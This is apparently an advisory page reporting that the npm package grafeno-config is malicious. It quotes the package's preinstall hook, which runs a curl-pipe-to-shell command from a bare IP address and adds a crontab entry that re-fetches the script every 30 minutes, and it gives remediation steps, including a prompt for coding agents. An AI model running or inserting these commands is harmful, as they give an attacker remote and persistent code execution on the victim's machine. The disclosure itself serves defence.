# MAL-2026-15504: Malicious code in grafeno-config (npm)


- **Type:** Malicious package
- **Package:** `grafeno-config` (npm)
- **Published:** 28 Aug 2026

## What is MAL-2026-15504?

MAL-2026-15504 is a malicious package in grafeno-config, published on 28 Aug 2026. 

### Official description

package.json declares a preinstall lifecycle hook that runs `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare-IP host over plain HTTP and piping it to /bin/bash on `npm install`. The same hook appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh | sh`, re-fetching and executing whatever that host serves every 30 minutes. The payload is unpinned, unverified, and mutable by whoever controls 216.126.236.46, giving arbitrary remote code execution on the installer's host at install time and persistent execution thereafter, independent of whether the package remains installed.

## What should I do about MAL-2026-15504?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-15504 is a malicious package: grafeno-config (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-15504/ (Markdown: https://insights.sbomify.com/MAL-2026-15504/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-15504

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-15504/
Summaries are generated and may contain mistakes; the official description above is the record.